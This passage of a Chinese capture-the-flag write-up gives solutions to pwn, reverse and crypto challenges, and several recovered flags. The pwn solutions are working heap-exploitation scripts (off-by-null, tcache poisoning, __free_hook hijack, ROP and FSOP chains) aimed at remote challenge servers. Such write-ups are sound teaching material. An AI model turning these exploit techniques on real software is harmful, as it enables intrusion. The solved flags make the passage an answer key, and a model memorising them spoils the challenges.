return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
libc = ELF('./libc-2.31.so')
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
menu = 'root@$\n'
def add(index, size, content = b'a'):
sla(menu, '1')
sla('give me your index:\n', str(index))
sla('give me your size:\n', str(size))
sa('give me your content:\n', content)
def show(index):
sla(menu, '2')
sla('give me your index:\n', str(index))
def edit(index, content):
sla(menu, '3')
sla('give me your index\n', str(index))
sla('give me your index\n', str(index))
sa('give me your content:\n', content)
def delete(index):
sla(menu, '4')
sla('give me your index:\n', str(index))
def login(user, passwd):
sla(menu, '5')
sla(b'username\n', user)
sla(b'passwd\n', passwd)
login(b'1', b'1')
add(0,0x418, b"A"*0x100)
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100)
add(3,0x438, b"C0"*0x100)
add(4,0x108,b'4'*0x100)
add(5, 0x488, b"H"*0x100)
add(6,0x428, b"D"*0x100)
add(7,0x108)
delete(0)
delete(3)
delete(6)
delete(2)
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2])
add(3,0x418)
add(6,0x428)
add(0,0x418,b"0"*0x100)
delete(0)
delete(3)
add(0, 0x418, b'a' * 8)
add(3, 0x418)
delete(3)
delete(6)
add(6,0x500-8, b'6'*0x488 + p64(0x431))
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111))
delete(7)
delete(4)
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
inter()
这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次
5.DE_CAT
代码审计
main()
经典堆题
init_s()
不用看就知道了,要orw
edit()
又是off_by_null
思路
先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流
exp:
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("47.108.165.60",45244)
elf = ELF(name)
def add(size,content):
p.sendlineafter("input your car choice >> ","1")
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def edit(idx,content):
p.sendlineafter("input your car choice >> ",'4')
p.sendlineafter("idx:",str(idx))
p.sendafter("content:",content)
def show(idx):
p.sendlineafter("input your car choice >> ",'3')
p.sendlineafter("idx:",str(idx))
def dele(idx):
p.sendlineafter("input your car choice >> ",'2')
p.sendlineafter("idx:",str(idx))
get_p("./CAT_DE")
add(0x440,"AAA")
add(0x88,"AAA")
add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"AAAAAAAA")
show(4)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)
heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))
for i in range(7):
add(0xf8,"AAA")
add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")
for i in range(7):
dele(i+5)
target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"\x00") + p64(0x100)
edit(12,payload)
dele(13)
add(0xe8,"AAAA")
add(0xe8,"AAAA")
dele(5)
dele(6)
show(12)
p.recvuntil("\xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)
add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))
add(0xd0,"A"*8)
show(7)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']
orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")
p.interactive()
注意也是libc-2.35,利用不了hook。
或者脚本:
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./CAT_DE'
#context.arch='amd64'
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
telescope $rebase(0x202040) 16
b _IO_obstack_xsputn
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('./libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('47.108.165.60',49429)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('./libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
def choice(a):
io.sendlineafter(' >> \n',str(a))
def add(a,b):
choice(1)
io.sendlineafter('size:\n',str(a))
io.sendafter('content:\n',b)
def edit(a,b):
choice(4)
io.sendlineafter(':\n',str(a))
io.sendafter('content:\n',b)
def show(a):
choice(3)
io.sendlineafter(':\n',str(a))
def delete(a):
choice(2)
io.sendlineafter(':\n',str(a))
add(0x4f8,'aaa')
add(0x6f8,'a')
add(0x4f8,'aaa')
add(0x6f8,'a')
delete(0)
delete(2)
add(0x4f8,'\x00')
add(0x4f8,'\x00')
show(0)
io.recvuntil('context:\n')
io.recv(8)
heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000
show(2)
io.recvuntil('context:\n')
io.recv(8)
libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60
libc.address=libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pop_rax_ret=libc.search(asm('pop rax;ret')).next()
pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()
pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()
pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()
syscall_ret=libc.search(asm('syscall;ret')).next()
gadget=[
'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',
'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',
'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',
'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',
'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'
]
gadget_addr=libc.search(asm(gadget[3])).next()
delete(3)
delete(2)
delete(1)
delete(0)
add(0x508,'aaa')
add(0xf0,'aa')
add(0xf8,'aa')
add(0x4f0,'aaa')
add(0xf0,'aa')
edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)
edit(2,'\x00'*0xf0+p64(0x700))
delete(3)
delete(4)
delete(1)
add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))
add(0xf0,'aa')
add(0xf0,p64(heap_base+0x2b0))
from FILE import *
context.arch='amd64'
IO=IO_FILE_plus_struct()
IO._flags=0xfbad2087
IO._lock= heap_base+0x10000 #can read addr
IO._IO_save_base=0x21 #size unuse
IO._chain=0x21 #size unuse
IO.vtable=libc.sym['_IO_file_jumps']-0x240
#libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn
IO_addr=heap_base+0x2b0
SROP_addr=IO_addr+0x200+0x10
obstack_addr=IO_addr+0xf0
flag_name_addr=SROP_addr-0x8
pay=str(IO)[0x10:]
#pay+=obstack_addr
pay+=p64(obstack_addr)
#pading
pay+='\x00'*0x8
#obstack struct
'''
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
unsigned alloc_failed : 1;
};
'''
pay+='\x00'*0x38+p64(gadget_addr)
pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)
pay=pay.ljust(0x180,'\x00')
pay+=p64(0)+p64(SROP_addr)
pay=pay.ljust(0x1f8,'\x00')
srop=SigreturnFrame()
srop.rsp=SROP_addr+0x100
srop.rdi=0
srop.rsi=0
srop.rdx=0x30
srop.rip=pop_rax_ret+1
pay+='./flag\x00\x00'
pay+=str(srop)[:0x20]
pay+=p64(libc.sym['setcontext']+61)
pay+=str(srop)[0x28:]
pay=pay.ljust(0x300,'\x00')
pay+=p64(pop_rax_ret)+p64(3)
pay+=p64(syscall_ret)
pay+=p64(pop_rdi_ret)+p64(flag_name_addr)
pay+=p64(pop_rsi_ret)+p64(0)
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(0)
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_ret)+p64(heap_base)
pay+=p64(syscall_ret)
pay+=p64(pop_rax_ret)+p64(1)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_ret)+p64(heap_base)
pay+=p64(syscall_ret)
delete(2)
delete(3)
edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))
add(0xf0,'aa')
add(0xf0,p64(0)+p64(0x300))
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
四、REVERSE
1.ez_cpp
patch程序, 输出匹配的密文数量到exitcode。
.text:00413CFA jmp short loc_413D19
.text:00413CFA ; ---------------------------------------------------------------------------
.text:00413D19 loc_413D19: ; CODE XREF: .text:00413CFA↑j
.text:00413D19 push ecx
.text:00413D1A nop
.text:00413D1B call ds:__imp_exit
爆破脚本:
import string
import os
import time
table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
for ch in table:
flag = (theflag+ch).ljust(32, '#')
exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
if exitcode >= len(theflag) + 1:
theflag += ch
print(theflag, exitcode)
break
else:
print('not found')
time.sleep(0.1)
2.3D_Maze
dump迷宫地图
m = ['#', ' ', '2', '$', '3', '@', '5']
for level in range(6):
print('level', level)
for y in range(10):
line = ''
for x in range(10):
n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
line += m[n]
print(line)
手搓
level 0 跳 1-?-0
## #######
## #### ##
## # ##
## # #####
## # *衔接1 wddwwdddddD
## # #####
## *衔接1
##4# #####
###$######
###*###### w
level 5 可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
## ######
## #######
* ####### ddwwdwwwwwW
##########
##########
level 1
##########
# #####
# ## *衔接2 dwwwdddsdddddD
# ########
* ########
##########
* #####
##########
##########
##########
level 3 可以跳到5-7-0
##*####### sssssssssS
## #######
## # ####
## ## ###
## ######
## ######
## ## ###
## # ####
## #######
##*#######
level 2 可以跳到4-0-9
*######### wwW
#########
*## # ###
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########
level 4 可以跳3-0-2
######## * 从2过来
######## #
* # assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########
00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw
snake:
import ctypes
from Crypto.Cipher import ARC4
from hashlib import md5
libc = ctypes.CDLL("ucrtbase.dll")
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
srand = libc.srand
rand = libc.rand
srand(0x94307F97)
seed_list = []
for i in range(361):
seed_list.append(rand())
def enc(buf, size, seed):
srand(seed)
keysize = int(rand()*1.0/32767.0 * 256.0)
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'
pwd = ''
for i in range(keysize):
idx = int(rand()*1.0 / 32767.0 * 63.0)
pwd += table[idx]
cipher = ARC4.ARC4Cipher(pwd.encode())
xorstream = b'\x00'*size
xorstream = cipher.encrypt(xorstream)
outbuf = bytearray(buf)
for i in range(size):
outbuf[i] ^= xorstream[i]
return bytes(outbuf)
foods = []
for i in range(361):
srand(seed_list[i])
while 1:
y = rand() % 20
x = rand() % 20
if not (x == 0 or x == 19 or y == 0 or y == 19):
# print(i, y, x)
foods.append((y, x))
break
tmp = 0x92
data = b'\x02'
for i in range(2):
data += bytes([data[-1] ^ 0xBE])
# print(data.hex())
flag_data = data[:]
eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???
for i in range(eat_count):
y, x = foods[i]
pos = y << 8 | x
data = enc(data, 3+i, pos)
# print(data.hex())
_tmp = tmp
# print(hex(tmp-1), hex(data[0]-1))
tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF
flag_data = data[:]
data = data[::-1]
data += bytes([_tmp])
# print(hex(tmp))
s = flag_data.ljust(361, b'\x00').hex().encode()
print('flag_data', len(flag_data))
print('SYC{'+md5(s[:722]).hexdigest()+'}')
babythread:
断在0x411BDE位置,把输入替换成密文
(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。
然后断在memcmp处, 拿到明文flag。
k='!This_program_cannot'
def Rc4_Encrypt(m,key):
s=[]
t=[]
out=[] #putput
for i in range(256):
s.append(i)
t.append(key[i%len(key)])
j=0
for i in range(256):
j=(j+s[i]+t[i])%256
s[i],s[j]=s[j],s[i]
i,j=0,0
for p in range(len(m)):
i=(i+1)%256
j=(j+s[i])%256
s[i],s[j]=s[j],s[i]
index=(s[i]+s[j])%256
out.append(s[index]^m[p])
print(bytes(out))
rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)
0129FE14 53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61 SYC{Th1s_is_@_Ea
0129FE24 73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D sY_3ncryptO!!!!}
3.gowhere
from claripy import *
from libnum import *
tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9
def enc1():
global unk
unk += 1
if unk & 1 == 0:
for i in range(30):
tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17
def enc2():
global unk
unk += 1
tmp_flag[0] += 2
tmp_flag[1] -= 28
tmp_flag[2] ^= 0x47
tmp_flag[3] += tmp_flag[4]
tmp_flag[5] += 73
tmp_flag[6] += 12
tmp_flag[7] -= tmp_flag[8]
tmp_flag[8] ^= 0x5A
tmp_flag[9] ^= 0x22
tmp_flag[10] += 20
tmp_flag[12] -= 84
tmp_flag[13] ^= 4
tmp_flag[14] ^= 0x1C
tmp_flag[17] -= 1
tmp_flag[27] ^= 0x11
tmp_flag[28] ^= 3
def enc3():
global unk
if unk % 3 == 2:
v13 = 0
v11 = 29
while v13 < 15:
tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
v13 += 1
v11 -= 1
unk += 1
solve = Solver()
for i in range(4):
enc1()
enc2()
enc3()
print(hex(unk))
enc_flag = bytes.fromhex(
'4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')
for i in range(30):
solve.add(enc_flag[i] == tmp_flag[i])
for k in solve.eval(flag, 2):
print(n2s(k))
# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'
4.ezr3
脱壳,调试
魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。
之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF
可执行文件
之后即可将文件push到手机上并通过安卓真机+IDA调试
分析
main函数开头会修改内存中的数据,调试获取即可
加密过程如下:循环移位、异或、乘法运算
脚本:
unsigned int fin[36] = {
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0,
0x00001888, 0x00003B80,
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860,
0x0014F410, 0x0002CB9F,
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D,
0x00050CF8, 0x00005D64,
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F,
0x000DBACB, 0x00049680,
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3
};
unsigned long mul[36] = {
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B,
0x00000000000003C9,
0x0000000000000C3F, 0x00000000000017E9,
0x000000000000130E, 0x0000000000000088,0x0000000000000486,
0x000000000000202F,
0x0000000000002230, 0x00000000000024B4,
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2,
0x00000000000023EB,
0x0000000000000C7E, 0x000000000000042B,
0x00000000000005BF, 0x000000000000113C,0x0000000000000449,
0x0000000000001751,
0x0000000000000ACE, 0x0000000000001894,
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD,
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111,
0x0000000000000D1C,
0x000000000000238E, 0x0000000000001759, 0x000000000000012B,
0x000000000000214D
};
unsigned char flag[40] = { 0 };
unsigned long* a = &mul[18];
for (int i = 0; i < 36; i += 6) {
flag[i] = fin[i] / (*(a - 18));
flag[i + 1] = fin[i + 1] / (*(a - 12));
flag[i + 2] = fin[i + 2] / (*(a - 6));
flag[i + 3] = fin[i + 3] / (*(a));
flag[i + 4] = fin[i + 4] / (*(a + 6));
flag[i + 5] = fin[i + 5] / (*(a + 12));
a++;
}
int j = 0;
for (int i = 35; i >= 0; --i) {
flag[i] ^= flag[j++];
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff;
}
printf("%s", flag);
五、CRYPTO
1.signin
关键点是求出data1,data2。通过data3 = ring(data1 / data2)
我们可以使用连分数求解。
脚本1:
import gmpy2
from Crypto.Util.number import long_to_bytes
#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = continued_fraction(data3)
print(c)
alist = c.convergents()
print(alist)
for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']
#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)
#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)
p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
脚本2:
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = continued_fraction(data3)
alist = c.convergents()
for i in alist:
a = str(i).split('/')
if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
print(a)
break
data1 = int(a[0])
data2 = int(a[1])
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
2.crazyTreat
关键在于构建关于m的多项式
$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$
即:
$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\
且:
k_3p=P-M,k_4q=Q-m,k_5r=R-m\\
所以:
P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
n = clown
p = trick
pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)
#构建关于m的多项式求解即可,m即为r
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q*R-m*m*m-m*(P-m)*(Q-m)-m*m*((P-m)+(Q-m))-(R-m)*m*m-m*((P-m)+(Q-m))*(R-m)
f = f.monic()
m = f.small_roots(X=2^280, beta=0.4)
print(m)
r=m
#直接解密即可
r=105960538296223496551922954965164644267919720177702173352061963871195469608683
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
e = 65537
n=p*r
phi = (r-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(m)
print(long_to_bytes(m))
首先已知高位攻击,由于flag没填充,直接就可以出了。不需要解第三个素数了
脚本2:
c=10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
'''
len_bin=len(bin(trick)[2:])
high='11111001001110111100110011111101010101010101000011001011000101010010000100011011110111000011000101101111000110110001010111001101111110111100000111110011111001010100101001110111010001011011100111000100100000110101111101010011010001101111101001111111000111011001010101100000011110000100100010010010011100101'
high_len=len(high)
low_len=512-high_len
PR.<x> = PolynomialRing(Zmod(clown))
f = int(high,2)*2^low_len +x
x0 = f.small_roots(X=2^low_len, beta=0.4)[0]
#76347864203588455868161824448305083084387260376528823546715135
p=int(high,2)*2^low_len +x0
print(p)
'''
p=13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
q=clown//p
phi=(p-1)*(q-1)
from Crypto.Util.number import *
d=inverse(65537,phi)
print(long_to_bytes(pow(c,d,clown)))
脚本3:
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
